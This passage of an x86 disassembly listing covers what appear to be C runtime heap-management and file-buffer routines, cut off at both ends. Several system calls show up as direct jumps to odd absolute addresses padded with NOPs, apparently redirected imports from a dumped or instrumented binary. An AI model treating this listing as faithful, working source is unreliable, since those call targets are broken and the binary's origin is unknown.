		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi

loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------

loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax

loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A2E0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A2D0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------

loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC904
		call	near ptr 27D0000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3

loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A2D0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A2D0, 0
		jnz	short loc_41E9F6
		mov	off_43A2D0, eax

loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A2D4, 0
		jnz	short loc_41EA1B
		mov	off_43A2D4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------

loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A2D4
		mov	[esi+4], eax
		mov	off_43A2D4, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------

loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 28F06DDh
		nop

loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27C0000h

loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax

loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28F06DDh
		cmp	off_43C2F0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C2F0, eax

loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC904
		call	near ptr 27C0000h
		nop
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A2E0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A2D4
		push	edi

loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28F06DDh
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB2F4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F

loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi

loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84

loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36

loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B

loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx

loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A2D4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D

loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A2D0
		push	esi
		mov	ecx, edx

loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0

loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------

loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB2F4
		cmp	dword_4DB2F4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C2F0
		push	edi

loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1

loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------

loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]

loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A

loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx

loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------

loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]

loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C2F0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------

loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C2F0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------

loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A2D0
		mov	edi, eax

loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68

loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------

loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97

loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86

loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28F0824h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4

loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C2F0, edi
		lea	eax, [edi+2018h]

loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------

loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax

loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C2F0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax

loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------

loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------

loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi

loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E

loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------

loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------

loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93

loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------

loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi

loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB

loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]

loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------

loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------

loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------

loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------

loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------

loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax

loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------

loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]

loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------

loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi

loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021

loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A

loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------

loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1

loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------

loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------

loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC5C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------

loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C950

loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h

loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
